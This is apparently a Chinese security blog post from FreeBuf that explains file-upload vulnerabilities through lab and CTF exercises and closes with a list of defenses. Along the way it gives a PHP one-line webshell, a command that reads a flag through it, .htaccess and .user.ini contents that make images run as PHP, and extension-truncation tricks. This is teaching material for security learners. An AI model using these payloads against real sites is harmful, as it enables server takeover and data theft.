freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

文件上传漏洞
2022-08-04 09:51:34
所属地 辽宁省

文件上传漏洞个人理解

存在原因

web应用存在文件上传功能,上传点未设置格式的限制、权限的限制、上传目录位置的限制,用户可自定义上传文件类型并连接(如:webshell)。

文件上传漏洞我个人觉得就是各种花样,不像其它漏洞需要了解的那样深入,就是它存在文件上传点并且你可以用各种手法将你想要上传的文件上传并且利用。

这里就利用靶场对其简单描述

文件上传

前后端验证
黑白名单
文件头
完整性
二次渲染
MIME

前端验证

顾名思义前端验证就是在前面进行验证,通过js来控制文件上传,这种限制可以说是根本不存在,因为前端代码是可以通过浏览器直接修改的。

image-20220803104328752

image-20220803104445140

image-20220803104712237

禁用js脚本我觉得太麻烦,可以通过抓包改后缀。 先将后缀改成符合要求的格式,然后通过抓包更改。

image-20220803105627245

可以通过数据包看到filename 内容为文件名字,然后改后缀名结果如下。

image-20220803110040873

我们连接一下看看结果。

image-20220803110135186

成功连接我们上传的php文件,内容为phpinfo();

简单描述一下过程

首先这个是前端验证,它在前端浏览器验证完后缀名之后成功上传,然后我们利用中间抓包代理拦截数据包,将后缀名改为php。上传成功后并且给出上传地址我们可以直接进行连接。
由此可见,前端不可信!

MIME

image-20220803111824631

这里就是后端验证了,我这里直接上传php。 试试相同的方法

它居然也上传成功了还能连接,这是我没想都的。因为这一关的考点是MIME类型验证,我没有修改MIME也成功了那它考个锤子呢?
MIME我就不说那些名词解释了。在这里的作用就是通过Content-Type(Media type):
来限制文件类型,可以看上面截图内容为 image/jpeg
(⊙﹏⊙)是我愚蠢了,因为通过上面的方法上传的就是图片文件,所以这里文件类型就是运行的。这就是为啥同样的方法也可以成功。如果直接上传php文件,是下面的样子。
如果这时直接更改后缀名是被它成功拦截的,要将Content——Type内容改成图片格式。

image-20220803113528848

白名单

通过如上测试结果为失败,我们看一下后端代码如果编写的。

image-20220803121252159

通过网站页面上传失败提示信息或通过代码可以看到做了白名单限制来限制文件上传格式必须为jpg,jpeg,pen

通过题目可以看到考点为getimagesize()函数,通过代码(没有截图到)可以看到包含了一个inc/uploadfunction.php文件。 image-20220803121916762

通过百度这个php函数得知:这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的。 这里我们抓一下包看一看。

phpinfo image-20220803122123144

图片

image-20220803122300680

image-20220803122342325

这个东西很明显就能看得出来,所以有些时候我就不爱看那些所谓的官方文字解释,这种通俗易懂。 明显可以看到图片中的内容头部是有一个和身份标识的东西来证明自己。

在图片内容后面插入后门代码,将附有后门代码的图片上传上去,然后再利用文件包含漏洞打组合拳。

image-20220803124044480

image-20220803124053911

我简述一下过程
将后门代码写入图片内容里面,然后配合网站上面的文件包含漏洞,这里的文件包含是include函数加载图片文件连里面的php代码都执行了。通过?filename=传参来构造后门图片的位置,这样就加载了我们上传的php文件。

.htaccess文件上传解析漏洞

上传一个.htaccess文件,再上传一个包含php代码的图片文件。

image-20220803145132647

这个是个漏洞是Apache服务器下的一个配置文件,我操作的是一个文件上传的靶场upload-labs第四关,这关的黑名单限制做的很足,而且考点又是这个。
思路就是上传点没对.htaccess文件进行相关的限制,通过自行上传此文件在和后门图片在同一目录里,然后就可以实现将图片内容通过解析成php。

黑名单:对名单内的文件格式进行拦截
白名单:只认可名单内的文件格式

.htaccess文件的内容(根据自己需要写入即可)
<ifModule mime_module>

AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->

Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 -->

</ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 -->


<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->

</FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->

.user.ini利用

这个就是和上面差不多,为啥要用这个呢,因为.htaccess是Apache服务器的,Nginx要利用这个需要繁琐的配置。

这里演示的是ctfshow里面的文件上传关卡

一样的前端和MIME限制,老套路改包进行修改达到上传.user.ini文件的目的,内容为auto_prepend_file=1.png
然后在上传一个1.png,内容为一句话木马。
连接文件地址,发送post请求,目地读取flag。

image-20220804082459742

image-20220804082557657

image-20220804082854524

小总结一下
上传一个.user.ini 内容包含一个木马图片的名字,然后上传被包含的木马图片,这两个文件是相辅相成的。

<?php eval($_POST[x]);?>
这句木马功能就是接受post传参 x= 原理就是eval函数,才发现截图没截好。
利用hackbar 对目录地址发送一个post请求:x=system('cat ../flag.php');
读取当前目录再向上走一个目录(../)里面的flag.php文件。
http://52a595c4-4014-4cf0-8e80-717857f3ca9b.challenge.ctf.show/flag.php

二次渲染

服务器会对上传上来的图片进行二次渲染将一部分数据清除保留一部分数据来使图片占用空间变小,那么服务器在渲染的过程中可能就会将后门代码给破坏了。 思路就是,将上传过后进行渲染过的图片下载下来,将上传前后的图片进行对比(这里可以利用工具)再保留的位置插入后门代码再进行上传。

条件竞争

这个也很好理解,有些服务器会先将上传的文件存入系统,然后符合条件改名留下,不符合条件的清楚。 那么这个过程就可以利用它短暂的存留再内部的时间进行连接,因为系统是不能删除被使用中的文件。 要求网速快手速快哈哈哈(当然是利用工具啦)。

Web应用编辑器上传

有些网站会利用编辑器,且这个编辑器有上传功能,然后就干编辑器就好了。

image-20220804092959356

总结

文件上传漏洞很好理解,主要是手法。 前端验证 后端验证:黑白名单限制文件后缀名,文件头,MIME,内容过滤(过滤特殊符号来防御后门代码) 后缀名白名单:利用文件包含,文件解析,也就是说白名单是写死的走旁路。 1.jpg.php 1.php.jpg 1.php%00截断、0x00截断、0x0a截断

MIME,文件头检测:文件头就是每个文件内容头部会有一个标识身份的东西 .htaccess/.user.ini:没有对这两个文件进行限制。

防御

  1. 文件上传的目录设置为不可执行

  2. 判断文件MIME类型(content-type)

  3. 对文件后缀进行检查

  4. 使用随机数改写文件名和文件路径:能上传不能访问

  5. 单独设置文件服务器的域名:同源策略

  6. 在前面通过Waf防火墙(Web应用防火墙)来对带有特征信息的文件进行拦截。

  7. fgrep

# 渗透测试 # web安全 # 漏洞分析 # 经验分享 # 文件上传
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录